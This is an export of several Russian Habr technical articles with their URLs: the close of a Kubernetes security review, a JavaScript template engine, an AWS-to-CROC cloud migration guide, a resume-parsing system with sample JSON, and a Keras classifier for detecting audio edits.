Например, [kube-bench](https://github.com/aquasecurity/kube-bench) достаточно популярный инструмент-анализатор от [Aquasecurity](https://www.aquasec.com/products/kubernetes-security/).
Вот так может выглядеть результат сканирования k8s кластера на предмет безопасности:
Заключение
----------
Вот мы и рассмотрели основные моменты рекомендаций NSA. Это руководство дало представление, на что стоит обратить внимание в контексте безопасности по мнению Агентства Национальной Безопасности USA.
Оказывается [National Security Agency](https://www.nsa.gov/?utm_source=thenewstack&utm_medium=website&utm_campaign=platform) это не только про шпионов и армию USA.
Ведь можно что-то продуктивное и полезное создавать, а не только запрещать и вот это всё…
В докладе рассматриваются не только сами рекомендации, но и так же уделено место для вводной части и устройства [Kubernetes cluster ecosystem](https://kubernetes.io/docs/concepts/overview/what-is-kubernetes/). Кроме этого рассматриваются связи компонентов и поясняется почему важно применять ту или иную практику. Графическая часть доклада позволяет наглядно понять связи между компонентами и сделать правильные умозаключения.
В целом доклад добротно сделан, если вы только ступаете на ступеньку безопасности k8s экосистемы, то однозначно рекомендую к прочтению.
Важно учитывать, что Kubernetes и другие технологии, которые используются под капотом или в связке активно развиваются, меняются. Это означает, что многие рекомендации могут устаревать с течением времени и нужно всегда держать информацию на кончиках пальцев.
P.S.: Мнение автора: большинство паттернов было известно ранее. Другое дело, что не всегда можно все правила применять к существующей экосистеме. Стоит выборочно подходить к анализу и применению правил и рекомендаций, иначе это может превратиться в сложную систему, которая не готова к работе или очень сложна в обслуживании.
P.P.S: Если имеются какие-либо пожелания по улучшению\изменению контента или любые другие предложения, то всегда рад расширить свою сеть контактов в [Linkedin.com/in/kazakovk](http://linkedin.com/in/kazakovk) или <https://github.com/kksudo>.
Статья подготовлена в преддверии старта курса "[DevOps практики и инструменты](https://otus.pw/ZfHQ/)".
* [Узнать о курсе подробнее](https://otus.pw/ZfHQ/) | https://habr.com/ru/post/681696/ | null | ru | null |
# Scripting Java с помощью JSR 223 — пример написания template engine в 20 строк из личного опыта
Статья посвящена Java девелоперам, которых жизнь заставила или пока только заставляет двигаться вперед, к светлому agile будущему. Препологается, что читатель знаком с Java, Javascript и слышал про JSR 223.
Многим очень часто приходилось спорить на тему «что лучше, X или Y». Раньше это была пара Java/C++, сейчас акцент больше сместился в сторону скриптовых языков.
Буквально на днях обуждали с коллегами стоит ли учить все эти новшества тем, кто с любимым языком (будь то Java или С++) прошел огонь, воду и медные трубы и кажется теперь умеет все. Думаю что стоит.
Есть очень много примеров изящного кода написаного на любом языке, но ничто так не запоминается как хороший код написаный на функиональном языке. Тех кто пользуется Javascript-ом каждый день будет трудно чем-то удивить, но для приверженцев чистой Java, без «вредных» скриптовых примесей кое-что может показаться открытием. Потверждением тому служит простой пример с которым мне пришлось столкнуться.
Небольшой Java проект над которым я работаю состоит в написании простенького Swing интерфейса, распространяться он должен через Web Start. И вот тут оказывается что человек привыкший к изобилию дополнительных библиотек на server side (apache commons, spring, freemarker) оставшись один на один с Java должен для себя сделать трудный выбор: добавлять сторонние библиотеки в проект просто потому что там есть «вкусненький» класс или писать что-то самому. Опыт вроде позволяет выбрать второй путь, но при этом сложность проекта возрастает в разы.
Например пришлось столкнуться с задачей сгенерировать довольно сложный HTML. Данные берутся из модели, казалось вот оно, тут можно применить Velocity или Freemarker, но мысль о том что я добавлю в проект сотни классов просто чтобы красиво нарисовать страничку не давала мне покоя. С другой стороны я понимаю что написать самому парсер это не полчаса времени, плюс тестирование… хотя стоп! а что если написать его на Javascript-е? К счастью Javascript достаточно легко исполнить в JRE, более того в Java7 влючает в себя Javascript Engine который знает и умеет Javascript 1.8, а это означает много вкусных «плюшечек». И я решил попробовать.
Синтаксис выбрал на подобие JSP: <% %> это набор statement-ов, а <%= %> — соответсвенно expression. Для тестирования использвал скриптовую консоль jrunscript. Идея очень простая и полностью повторяет то что делает JSP: из темплейта сгенерировать некий код или функцию, выполнение которой вернет готовую страничку. Простейший пример темплейта для тестирования:
```
js> var string = "Variable x is <% if ( 'undefined' == typeof x ) { %> undefined <%} else { %> <%= x %><%}%>"
```
Для того чтобы обработать такой темплейт достаточно его разбить с помощью функии split:
```
js> string.split(/<%(.*?)%>/).forEach(function(x,i)print((i+1)+': '+x))
1: Variable x is
2: if ( 'undefined' == typeof x ) {
3: undefined
4: } else {
5:
6: = x
7:
8: }
9:
```
Вызов forEach нужен был просто чтобы красиво распечатать массив. Как видно нечетными идут строки, а четными — выражения между ними. А другого нам и не надо, теперь дело техники из этого массива сформировать тело функции.
```
js> string.split(/<%(.*?)%>/).map(function(s,i) (i % 2
> ? (s[0] == '=' ? 'this.push(' + s.slice(1) + ');' : s)
> : (s && 'this.push(' + uneval(s) + ');')
> )).join('\n')
this.push("Variable x is ");
if ( 'undefined' == typeof x ) {
this.push(" undefined ");
} else {
this.push(" ");
this.push( x );
}
```
И вот тот момент ради которого я все это затеял. Надо написать генератор функций, по сути он будет компилировать наш темплейт:
```
js> function compile(template) new Function(template.split(/<%(.*?)%>/).map(function(s,i) (i % 2
> ? (s[0] == '=' ? ['this.push(', ');'].join(s.slice(1)) : s)
> : (s && ['this.push(', ');'].join(uneval(s)))
> )).join('\n'))
js> compiled = compile(string)
function anonymous() {
this.push("Variable x is ");
if ("undefined" == typeof x) {
this.push(" undefined ");
} else {
this.push(" ");
this.push(x);
}
}
```
Наша история подходит к концу, опытный читатель уже наверное догадался что полученные в строки мы будем складывать в массив с помощью функции push.
Осталось протестировать полученый результат:
```
js> var array = []; compiled.call(array); array.join('')
Variable x is undefined
js> x = 5
js> compiled.call(array = []); array.join('')
Variable x is 5
```
Осталось украсить код чтобы его было удобно использовать и обработчик темплейтов готов.
Вывод: мне понадобиось около получаса времени чтобы написать на Javascript достаточно мощный обработчик темплейтов, в тоже время используя Java я даже затрудняюсь сказать точно заняло бы это день или неделю. Насчет недели это конечно же шутка, но она недалека от истины. | https://habr.com/ru/post/151976/ | null | ru | null |
# Упали с AWS? Заезжайте без вопросов, документы потом, сейчас не до того
Пока я ехал на работу и слушал новый альбом Дельфина, кто-то блокировал IP адреса Amazon и Google целыми подсетями. Роскомнадзор назвал недостоверной информацию о блокировании сайтов, не имеющих отношения к Telegram, но арендующих IP-адреса на тех же, что и мессенджер, сервисах, и создал горячую линию для противодействия распространения таких сообщений.
Поэтому я даже не догадываюсь, почему нам пришлось в течение вчерашнего дня помогать нескольким сервисам. Кого-то задело совсем немного, а кому-то пришлось мигрировать.
Если очень коротко — мы умеем быстро мигрировать из AWS. У нас совместимый API. Мигрировать клиентов из Google тоже можем. И в ближайшие недели мы готовы делать миграцию бесплатно и давать месяц на тесты в нашем облаке без договора и без гарантийного письма, просто по карточке компании. Не понравится — ничего платить не надо.
Ниже — howto для разных типов выгрузки ВМ с Амазона.
Мы видим всплеск интереса к российским облакам прямо сейчас. Мы понимаем, что столкнувшиеся с блокировками могут либо подождать, либо срочно мигрировать свои сервисы в доступное публичное облако.
Для миграции нужен доступ, договорённости с поддержкой, заключение договора.
Мы готовы пропустить эти формальности и дать доступ по письму на MBerezin@croc.ru.
### Совместимость
Облако КРОК развивается во многом по сценарию AWS: мы сами разрабатываем нашу платформу виртуализации на базе KVM. Естественно в процессе перенимаем опыт наших западных коллег, поэтому и можем похвастать совместимостью с AWS, который сами очень уважаем.
**Тезисно:**
* Две зоны доступности на базе собственной сети дата-центров,
* Одинаково быстрая сеть у всех ВМ не зависимо от их типа,
* Быстрая сеть между ВМ и физической инфраструктурой, расположенной в ЦОД,
* Высокопроизводительные диски с фиксированными IOPS (аналог io1 в AWS),
* Полноценный сервис импорта/экспорта виртуальных дисков,
* Бесплатный пользовательский трафик в S3.
Ваша настроенная автоматизация будет работать и [в нашем облаке](https://cloud.croc.ru/services/laas/kvm/?utm_source=habr&utm_medium=blog&utm_campaign=18_04_18) без каких-либо серьезных проблем. У нас реализована основная функциональность трех сервисов Elastic Compute Cloud (EC2), Simple Storage Service (S3), CloudWatch.
### Варианты миграции
1. Стандартная процедура импорта/экспорта ВМ описана [в документации](https://docs.aws.amazon.com/vm-import/latest/userguide/vmexport.html).
Однако существует важное ограничение: экспорт возможен только для машин, которые ранее были импортированы в AWS. Иначе получим ошибку:
```
$ aws ec2 create-instance-export-task —instance-id i-XXXXXXXXXXXXXXXX —target-environment vmware —export-to-s3-task DiskImageFormat=vmdk,ContainerFormat=ova,S3Bucket=my-export-bucket
An error occurred (NotExportable) when calling the CreateInstanceExportTask operation: Only imported instances can be exported.
```
Если же экспортировать инстанс удалось, то нужно скачать его из AWS S3.
Далее скачанный образ загружаем в CROC S3. Для этого нужно скачать файл настроек доступа к CROC Cloud API, сконфигурировать s3cmd на работу с нашим S3 и загрузить образ диска.
2. Если не удается экспортировать инстанс (машины создавались из шаблонов AWS), то обойти ограничение можно следующим образом: диск ВМ необходимо сдампить в файл-образ, который нужно будет загрузить в наш S3.
a) Создаем временный EBS том размером немного больше исходного
b) Создаем на временном томе файловую систему и монтируем ее:
```
# mkfs.xfs /dev/xvdf1
# mkdir /tmp/export
# mount /dev/xvdf1 /tmp/export
```
c) Устанавливаем qemu-img
d) Останавливаем весь приклад и сервисы, снимаем образ диска:
```
# qemu-img -O qcow2 -o compat=0.10 /dev/xvda /tmp/export/web1-xvda.qcow2
```
e) Загружаем файл /tmp/export/web1-xvda.qcow2 в CROC S3, создаем из него шаблон и запускаем из него инстанс так же, как и в первом варианте.
f) отмонтируем и удаляем временно созданный том EBS
3. Аналогично для других ОС, в Windows можно, например, создать VHD/VHDX через панель управления дисками.
4. Можно рассматривать вариант бэкапа и восстановления его на другой машине.
5. Если достаточно переноса файлов (например, контента), в Linux можно применить rsync, в Windows — robocopy.
6. Если совсем дороги простои или большие объемы, можно работать с репликацией ОС и файловых систем через Double Take/Carbonite.
В целом вариантов достаточно много, все зависит от того, как устроена конкретная инфраструктура. Во всех этих вариантах наша поддержка разбирается, и у нас есть опыт подобных миграций. Плюс свои сертифицированные специалисты по AWS, так что помочь однозначно сможем.
Есть вопросы – обращайтесь в комментариях или пишите: MBerezin@croc.ru | https://habr.com/ru/post/353704/ | null | ru | null |
# Парсинг резюме
Те кто сталкивался с задачами автоматизированного анализа резюме, представляют современное состояние дел в этой области — существующие парсеры в основном ограничиваются выделением контактных данных и ещё нескольких полей, таких как «должность» и «город».
Для сколько-нибудь осмысленного анализа этого мало. Важно не только выделить некие строки и пометить их тегами, но и определить, что за объекты кроются за ними.
Живой пример (кусок XML результата анализа резюме от одного из лидеров области [Sovren](http://www.sovren.com/)):
```
ООО Звезда-DSME
Ведущий специалист отдела развития информационных систем
ООО Звезда-DSME
```
Парсер Sovren прекрасно справился с выделением полей. Ребята не зря занимаются этим делом без малого 20 лет!
Но что дальше делать с «Ведущий специалист отдела развития информационных систем»? Как понять, что же это за должность, насколько опыт работы этого человека релевантен для той или иной вакансии?
Если ваша задача — поиск сотрудника под требования вакансии или наоборот — вакансии под опыт и пожелания кандидата, то поиск ключевых слов, сравнение [bag of words](https://en.wikipedia.org/wiki/Bag-of-words_model) дают посредственные результаты. Для объектов, которым соответствует множество возможных синонимичных наименований такой подход не сработает.
Для начала нужно нормализовать наименования, превратить «специалистов в чём-либо» в программистов, сисадминов и прочих отоларингологов.
Для этого придётся составить базу знаний, таксономию объектов. Причём специфика такова, что недостаточно описать, например только строителей — люди меняют области деятельности и в резюме строителя могут встречаться и другие, не связанные со строительством места работы.
И если таксономия будет описывать только строительство — в текстах, относящихся к другим областям деятельности, будут ложные срабатывания. В строительстве «архитектор» — это одно, а в IT — совсем другое. «Операция», «Акция», «Объект» и множество словосочетаний, содержащих эти слова — примеры неоднозначностей, которые необходимо разрешать.
Простая нормализация тоже не спасёт отца русской демократии. Фантазия людей пишущих резюме и составляющих штатные расписания не перестаёт удивлять. К сожалению для нас, разработчиков, это значит, что в общем случае из строки описывающей объект идентифицировать этот объект нельзя. То есть вы конечно можете попытаться обучить какой-нибудь классификатор, скармливая ему поле и желаемую должность.
И он даже будет работать. На «бухгалтерах», «секретарях», «программистах».
Только вот в резюме люди пишут «специалист отдела N» и понять, бухгалтер он или секретарь, можно лишь по контексту, набору выполняемых обязанностей.
Казалось бы — хорошо, учтём контекст, пусть классификатор обучается ещё и на обязанностях. Так, да не так — при определении набора обязанностей та же проблема: неоднозначность трактовки, всякие непонятные [анафоры](https://ru.wikipedia.org/wiki/%D0%90%D0%BD%D0%B0%D1%84%D0%BE%D1%80%D0%B0_(%D0%BB%D0%B8%D0%BD%D0%B3%D0%B2%D0%B8%D1%81%D1%82%D0%B8%D0%BA%D0%B0)).
Мы решили применить вероятностный (байесовский) подход:
Анализируя исходный текст, для всех строк (например, «архитектор», «работа
с клиентами») мы определяем множество всех возможных трактовок
(например, для «архитектора» это будет «архитектор зданий», «архитектор программного
обеспечения» и т.д.). В результате получается набор множеств трактовок. Затем
ищем такое сочетание трактовок из всех множеств, чтобы его правдоподобность
была максимальной.
Например:
* 2007-2009 ООО Umbrella corp. Старший менеджер. Работа с ключевыми клиентами, поиск новых клиентов, переговоры, оформление сделок;
* 2001-2007 ООО Рога и копыта. Менеджер по работе с клиентами. Консультирование покупателей по всем возникающим вопросам, оформление покупок, наличный и безналичный расчёт.
В обоих местах работы используется слово «менеджер» для обозначения совсем разных должностей. По контексту можно понять, что в первом случае должность действительно менеджерская, а во втором правильнее было бы назваться продавцом.
Для того, чтобы выбрать между «менеджером по работе с клиентами» и «продавцом» мы оцениваем правдоподобность сочетания этих должностей с найденными в этом месте работы навыками. При этом навыки могут таким же образом выбираться из нескольких вариантов, поэтому задача состоит в выборе наиболее правдоподобного сочетания из множества найденных в тексте объектов.
Количество объектов разных типов (навыки, должности, отрасли, города и пр.) очень большое (сотни тысяч в нашей базе знаний), поэтому пространство, которому принадлежат резюме очень-очень многомерное. Для обучения большинства machine learning алгоритмов понадобится астрономическое количество примеров.
Мы решили резать. То есть кардинально сокращать количество параметров и использовать результат обучения только там, где у нас есть достаточное количество примеров.
Для начала мы стали собирать статистику по сочетаниям кортежей признаков, например: должность-отрасль, должность-отдел, должность-навык. На основе этой статистики мы оцениваем правдоподобность новых, ещё не встречаемых ранее, сочетаний
объектов и выбираем лучшее сочетание.
В примере выше набор навыков склоняет парсер в сторону менеджера в первом случае и в сторону продавца во втором.
Использование простых счётчиков и оценки вероятности по Байесу позволяет получать хорошие результаты при небольшом количестве примеров. В нашей базе знаний сейчас около ста тысяч размеченных специалистами вакансий и резюме, и это позволяет разрешать большинство неоднозначностей для распространённых объектов.
На выходе мы получаем JSON объект, описывающий вакансию или резюме в терминах нашей базы знаний, а не в тех, которые придумал соискатель или работодатель.
Это представление можно использовать для точного поиска по параметрам, оценки («скоринга») резюме соискателя или сопоставления пар «резюме-вакансия».
Мы сделали простой [интерфейс](https://emply.ru/demo), в котором можно загрузить резюме (doc, docx, pdf (не картинкой) и другие форматы) и получить его представление в JSON. Только не забывайте про 152ФЗ! Не надо эксперементировать с резюме с реальными персональными данными :)
Например вот такое резюме:
**Скрытый текст****Пупкин Василий Львович**
г. Омск
тел +7923123321123
Ответственный и трудолюбивый менеджер по продажам.
**Опыт работы**
* 2001-2002: ООО Бытдомуправ. Уборщик территории во дворе. Особенно добросовестно выполнял работы по уборке снега.
* С 12.03.2005 по 30.01.2007 Магазин «Надежда». Старший киоскёр по продаже колбасы. Увеличил продажи колбасы на 146% за 2 месяца.
* 2002-2003: ООО Кузремонт Жестянщик-кузовщик в автомастерской. Переделывал «Запорожцы» в «Мерседесы».
**Дополнительно**
Физически сильный, умный, красивый. Есть собственный автомобиль Range Rover Sport и права категории B.
Превращается в следующий JSON:
**Скрытый текст**
```
{
"url": null,
"name": "Менеджер по продажам, г. Омск",
"skill_ids": [
{
"cv_skill_id": 5109999,
"skill_name": "ответственность",
"skill_id": 91,
"skill_level_id": 1,
"skill_level_name": "Базовый"
},
{
"cv_skill_id": 5110000,
"skill_name": "трудолюбие",
"skill_id": 596,
"skill_level_id": 1,
"skill_level_name": "Базовый"
},
{
"cv_skill_id": 5109998,
"skill_name": "осуществление уборки",
"skill_id": 1474,
"skill_level_id": 1,
"skill_level_name": "Базовый"
},
{
"cv_skill_id": 5109997,
"skill_name": "наличие автомобиля",
"skill_id": 2688,
"skill_level_id": 2,
"skill_level_name": "Средний"
}
],
"description": "Описание отсутствует",
"ts": "2016-09-14 06:00:51.136898",
"jobs": [
{
"employer_id": null,
"description": ": ООО Бытдомуправ. Уборщик территории во дворе. Особенно добросовестно выполнял работы по уборке снега",
"department_id": null,
"company_size_id": null,
"industry_id": null,
"start_date": "2001-01-01",
"cv_job_id": 1812412,
"company_size_name": null,
"employer_name": null,
"job_id": 336,
"department_name": null,
"industry_name": null,
"end_date": "2002-01-01",
"job_name": "Дворник"
},
{
"employer_id": null,
"description": ": ООО Кузремонт Жестянщик-кузовщик в автомастерской. Переделывал \"Запорожцы\" в \"Мерседесы\". Дополнительно Физически сильный, умный, красивый. Есть собственный автомобиль Range Rover Sport и права категории B",
"department_id": null,
"company_size_id": null,
"industry_id": null,
"start_date": "2002-01-01",
"cv_job_id": 1812414,
"company_size_name": null,
"employer_name": null,
"job_id": 268,
"department_name": null,
"industry_name": null,
"end_date": "2003-01-01",
"job_name": "Рабочий автосервиса"
},
{
"employer_id": null,
"description": "С 12.03.2005 по 30.01.2007 Магазин \"Надежда\". Старший киоскёр по продаже колбасы. Увеличил продажи колбасы на 146% за 2 месяца",
"department_id": null,
"company_size_id": null,
"industry_id": 39,
"start_date": "2005-03-12",
"cv_job_id": 1812413,
"company_size_name": null,
"employer_name": null,
"job_id": 354,
"department_name": null,
"industry_name": "Розничная торговля",
"end_date": "2007-01-30",
"job_name": "Продавец"
}
],
"cv_file_id": 16598,
"favorite_industries": [
{
"name": "Розничная торговля",
"industry_id": 39
}
],
"wage_min": null,
"cv_id": 1698916,
"favorite_areas_data": [
[
{
"id": 198830,
"name": "Российская Федерация",
"level": 1
},
{
"id": 10005,
"name": "Сибирский федеральный округ",
"level": 2
},
{
"id": 88,
"name": "Омская область",
"level": 3
},
{
"id": 727,
"name": "г. Омск",
"level": 4
}
]
],
"certificate_ids": [
{
"certificate_name": "Водительское удостоверение категории B",
"certificate_id": 118,
"cv_certificate_id": 604445
}
],
"cv_owner": "own",
"favorite_jobs": [
{
"name": "Менеджер по продажам",
"job_id": 112
}
],
"cv_status_id": 2,
"filename": "test_resume.odt"
}
```
Извлечение персональных данных в парсере отключено, не ищите их в JSON.
На мой предвзятый взгляд, результат интересный и применений ему — множество. Хотя до точности распознавания объектов, сравнимой с человеческой, ещё очень далеко. Нужно развивать базу знаний, обучать алгоритм на примерах, вводить дополнительные эвристики и, возможно, узкоспециализированные классификаторы, например для определения отраслей.
Интересно, какие методики используете или использовали бы Вы? Особенно интересно, использует ли кто-нибудь семантический подход а-ля Compreno от ABBYY? | https://habr.com/ru/post/301936/ | null | ru | null |
# Выявляем признаки аудиомонтажа методами AI
Одной из задач фоноскопической экспертизы является установление подлинности и аутентичности аудио записи — другими словами, выявление признаков монтажа, искажения и изменения записи. У нас возникла задача её проведения в целях установления подлинности записей – определения того, что на записи не осуществлялось никаких воздействий. Но как провести анализ тысяч, и даже сотен тысяч аудиозаписей?
Нам на помощь приходят методы AI, а также утилита по работе с аудио, о которой мы рассказывали в статье на сайте NewTechAudit [«ОБРАБОТКА АУДИО С ПОМОЩЬЮ FFMPEG»](https://newtechaudit.ru/obrabotka-audio-s-pomoshhyu-ffmpeg/).
Как проявляются внесенные изменения в аудио? Как отличить файл, который изменили, от нетронутого файла?
Таких признаков несколько и самый простой — это выявление информации по редактированию файла и анализ даты его изменения. Данные способы легко реализуются средствами самой ОС, поэтому на данных способах мы останавливаться не будем. Но изменения может вносить более квалифицированный пользователь, который сможет скрыть или изменить информацию о редактировании, в таком случае применяются более сложные методы, например:
1. сдвиг контуров;
2. изменение спектрального профиля, записанного аудио;
3. появление пауз;
4. и многие другие.
И все эти сложно звучащие методы выполняются специально обученными экспертами — фоноскопистами с помощью специализированного софта типа Praat, Speech Analyzer SIL, ELAN, большая часть из которого платная и требует достаточно высокой квалификации для использования и трактовки результатов.
Экспертами анализ аудио осуществляется с использованием спектрального профиля, а именно, анализируя его мел-кепстральные коэффициенты. Воспользуемся опытом экспертов, и заодно используем готовый код, адаптировав его под нашу задачу.
Так изменений, которые можно внести большое множество, как будем выбирать?
Из возможных видов изменений, которые можно внести в аудио файлы, нас интересуют вырезание части из аудио, либо вырезание части и последующая замена оригинальной части аналогичным по длительности куском — так называемые cut/copy изменения, т.к. редактирование файлов в части шумоподавления, изменение частоты тона и прочие не несут рисков сокрытия информации.
И как мы будем выявлять эти самые cut/copy? Их же надо с чем-то сравнивать?
Очень просто – с помощью утилиты FFmpeg мы будем вырезать из файла часть случайной длительности и в случайном месте после чего будем осуществлять сравнение мел-кепстральных спектрограмм оригинального и «порезанного» файла.
Код для их отображения:
```
import numpy as np
import librosa
import librosa.display
import matplotlib.pyplot as plt
def make_spek(audio):
n_fft = 2048
y, sr = librosa.load(audio)
ft = np.abs(librosa.stft(y[:n_fft], hop_length = n_fft+1))
spec = np.abs(librosa.stft(y, hop_length=512))
spec = librosa.amplitude_to_db(spec, ref=np.max)
mel_spect = librosa.feature.melspectrogram(y=y, sr=sr, n_fft=2048, hop_length=1024)
mel_spect = librosa.power_to_db(mel_spect, ref=np.max)
librosa.display.specshow(mel_spect, y_axis='mel', fmax=8000, x_axis='time');
plt.title('Mel Spectrogram');
plt.colorbar(format='%+2.0f dB');
plt.show();
make_spek('./audio/original.wav')# './audio/original.wav' место расположения аудио файла
```
Подготовку датасета из исходных и порезанных файлов осуществляем с помощью команды утилиты FFmpeg:
```
ffmpeg -i oroginal.wav -ss STARTTIME -to ENDTIME -acodec copy cut.wav
```
где STARTTIME и ENDTIME начало и окончание вырезанного фрагмента. А с помощью команды:
```
ffmpeg -iconcat:"part_0.wav|part_1.wav |part_2.wav" -codeccopyconcat.wav
```
соединяем часть файла для вставки part\_1.wavс оригинальными частями (оборачивание команд FFmpeg в python смотрите нашу статью про FFmpeg).
Вот как выглядят оригинальные мел-спектрограммы файлов из которых были вырезаны части аудио по 0.2-2.5 секунды, и мел-спектрограммы файлов, из которых были вырезаны части аудио по 0.2-2.5 секунды, а после вставлены аудио фрагменты аналогичной длительности из этого аудиофайла:
Некоторые изображения различимы даже зрительно, другие выглядят практически одинаковыми. Распределяем полученные картинки по папкам и используем как исходные данные для обучения модели по классификации изображений. Структура папок:
```
model.py # модель
/input/train/original/ # оригинальные файлы аудио
/input/train/cut_copy/ # измененные файлы
```
Для нас нет никакой разницы был ли измененный аудио файл дополнен или сокращен — мы делим все результаты на хорошие, то есть файлы без изменений, и плохие. Таким образом, у нас решается классическая задача бинарной классификации. Классифицировать будем с использованием нейросетей, код для работы с нейросетью возьмем готовый из примеров работы с пакетом Keras.
```
# Импортируем необходимые библиотеки и пакеты
from keras.models import Sequential
from keras.layers import Flatten
from keras.layers import Dense
from keras.layers import Conv2D
from keras.layers import MaxPooling2D
# Проводим инициализацию нейросети
classifier = Sequential()
classifier.add(Conv2D(32, (3, 3), input_shape = (64, 64, 3), activation = 'relu'))
classifier.add(MaxPooling2D(pool_size = (2, 2)))
classifier.add(Conv2D(32, (3, 3), activation = 'relu'))
classifier.add(MaxPooling2D(pool_size = (2, 2)))
classifier.add(Flatten())
classifier.add(Dense(units = 128, activation = 'relu'))
classifier.add(Dense(units = 1, activation = 'sigmoid'))
classifier.compile(optimizer = 'adam', loss = 'binary_crossentropy', metrics = ['accuracy'])
# Обучаем нейросеть на изображениях
from keras.preprocessing.image import ImageDataGenerator as img
train_datagen = img(rescale = 1./255,
shear_range = 0.2,
zoom_range = 0.2,
horizontal_flip = True)
test_datagen = img(rescale = 1./255)
training_set = train_datagen.flow_from_directory('input/train',
target_size = (64, 64),
batch_size = 32,
class_mode = 'binary')
test_set = test_datagen.flow_from_directory('input/test',
target_size = (64, 64),
batch_size = 32,
class_mode = 'binary')
classifier.fit_generator(
training_set,
steps_per_epoch = 8000,
epochs = 25,
validation_data = test_set,
validation_steps = 2000)
```
Далее, после того как модель обучилась, проводим классификацию с её помощью
```
import numpy as np
from keras.preprocessing import image
test_image = image.load_img('dataset/prediction/original_or_corrupt.jpg', target_size = (64, 64))
test_image = image.img_to_array(test_image)
test_image = np.expand_dims(test_image, axis = 0)
result = classifier.predict(test_image)
training_set.class_indices
ifresult[0][0] == 1:
prediction = 'original'
else:
prediction = 'corrupt'
```
На выходе получаем классификацию аудио файла — ‘original’/’corrupt’, т.е. файл без изменений и файлы, в которые изменения были внесены.
Мы лишний раз доказали, что сложно выглядящие вещи можно сделать просто – использовали не самый трудный механизм методов AI, готовые решения и провели проверку аудио на предмет внесения изменений. Ну и побыли экспертами из детектива. | https://habr.com/ru/post/514854/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.